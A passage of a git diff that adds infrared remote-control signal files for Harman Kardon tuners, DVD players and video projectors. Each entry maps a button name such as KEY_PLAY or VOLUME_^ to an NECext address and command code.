92 00 00 00 +# +name: AM/FM_FM_MODE_(<) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 93 00 00 00 +# +name: FUNCTION/FM_MODE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 93 00 00 00 +# +name: ACT_TRACK +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 94 00 00 00 +# +name: FINE_TUNE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 95 00 00 00 +# +name: AM/FM_#_(P-SCAN) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: P.SCAN(PRESET_SCAN) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: ANT_1_(ANTENNA_1) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 97 00 00 00 +# +name: ANT_2_(ANTENNA_2) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 98 00 00 00 +# +name: ON_(MAIN_POWER) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9C 00 00 00 +# +name: AM/FM_9_(YZ) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: AM/FM_0_(CLEAR) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9E 00 00 00 +# +name: OFF_(MAIN_POWER) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: A8 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: AA 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C1 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C4 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VID1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VID2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VID3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D3 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DB 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir new file mode 100644 index 000000000..10f201577 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: #_(P-SCAN) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 0A 00 00 00 +# +name: AC-3 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 50 00 00 00 +# +name: RF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 55 00 00 00 +# +name: OPT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 56 00 00 00 +# +name: COAX +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 57 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5C 00 00 00 +# +name: CH_SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: SELECT_^ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 80 00 00 00 +# +name: SELECT_V +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 81 00 00 00 +# +name: SELECT_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 82 00 00 00 +# +name: SELECT_< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 83 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8A 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8C 00 00 00 +# +name: SPEAKER_^ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8E 00 00 00 +# +name: SPEAKER_V +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8F 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 90 00 00 00 +# +name: MATRIX +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 93 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 95 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 96 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9B 00 00 00 +# +name: 3_ST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: P/L +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9F 00 00 00 +# +name: AM/FM_PRESET_DISC_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PRESET+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: AM/FM_PRESET_DISC_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: PRESET- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: AM/FM_SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D2 00 00 00 +# +name: AM/FM_SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D3 00 00 00 +# +name: AM/FM_PTY_(REC/) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D4 00 00 00 +# +name: AM/FM_AF_(>) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D5 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D9 00 00 00 +# +name: AM/FM_RDS_DISP_(STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DD 00 00 00 +# +name: INFO/RDS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DD 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir new file mode 100644 index 000000000..2eafa340f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: REC/PAUSE_O/ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: REC_MUTE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 07 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 08 00 00 00 +# +name: SKIP_REV_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 09 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 0A 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 0E 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1B 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1C 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir new file mode 100644 index 000000000..6d3137c1c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 20 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 21 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 24 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 25 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 26 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 27 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 28 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 29 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2D 00 00 00 +# +name: SearchBack +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: SearchForward +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 00 00 00 +# +name: Prev. +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 31 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 33 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 34 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 35 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 36 00 00 00 +# +name: Status +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 39 00 00 00 +# +name: SlowBack +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3A 00 00 00 +# +name: SlowForward +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3B 00 00 00 +# +name: StepBack +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3C 00 00 00 +# +name: StepForward +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 60 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 61 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 62 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 63 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 64 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 65 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 66 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 67 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 68 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 69 00 00 00 +# +name: Prog. +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6A 00 00 00 +# +name: Check +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6B 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6C 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir new file mode 100644 index 000000000..c934edd98 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: fast_backward +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 00 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 03 00 00 00 +# +name: skip_backward +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 04 00 00 00 +# +name: skip_forward +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 07 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0B 00 00 00 +# +name: repeat_1/all +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0C 00 00 00 +# +name: repeat_a/b +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0D 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 0F 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 10 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 11 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 12 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 15 00 00 00 +# +name: prog/rev +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 16 00 00 00 +# +name: tape_size +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 17 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 18 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 19 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 4A 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir new file mode 100644 index 000000000..793a5b710 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 20 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 21 00 00 00 +# +name: Off +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 24 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 26 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 27 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 28 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 29 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2E 00 00 00 +# +name: FF/Search/Slow +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2F 00 00 00 +# +name: Previous/Step +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 31 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 33 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 35 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 36 00 00 00 +# +name: Status +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 39 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3E 00 00 00 +# +name: Disc/Menu +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4D 00 00 00 +# +name: V.Off +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 4E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 60 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 61 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 62 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 63 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 64 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 65 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 66 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 67 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 68 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 69 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6C 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 6F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B0 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B3 00 00 00 +# +name: Pic+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B4 00 00 00 +# +name: Pic- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: B5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir new file mode 100644 index 000000000..cbb73a394 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: skipnext +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: skipprev +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: searchnext +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: searchprev +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0A 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0B 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0E 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 19 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1B 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1C 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 1D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 40 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 4C 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 4D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 56 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 57 00 00 00 +# +name: tapesize +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir new file mode 100644 index 000000000..fa0ed07d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: HY-SON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: VIDEO_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VIDEO_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: ENHANCE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: ENHANCE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir new file mode 100644 index 000000000..eca5b25c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: OFF.ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: SELECT_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: SELECT_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: ADJ_> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: ADJ_< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir new file mode 100644 index 000000000..efb8332e9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR 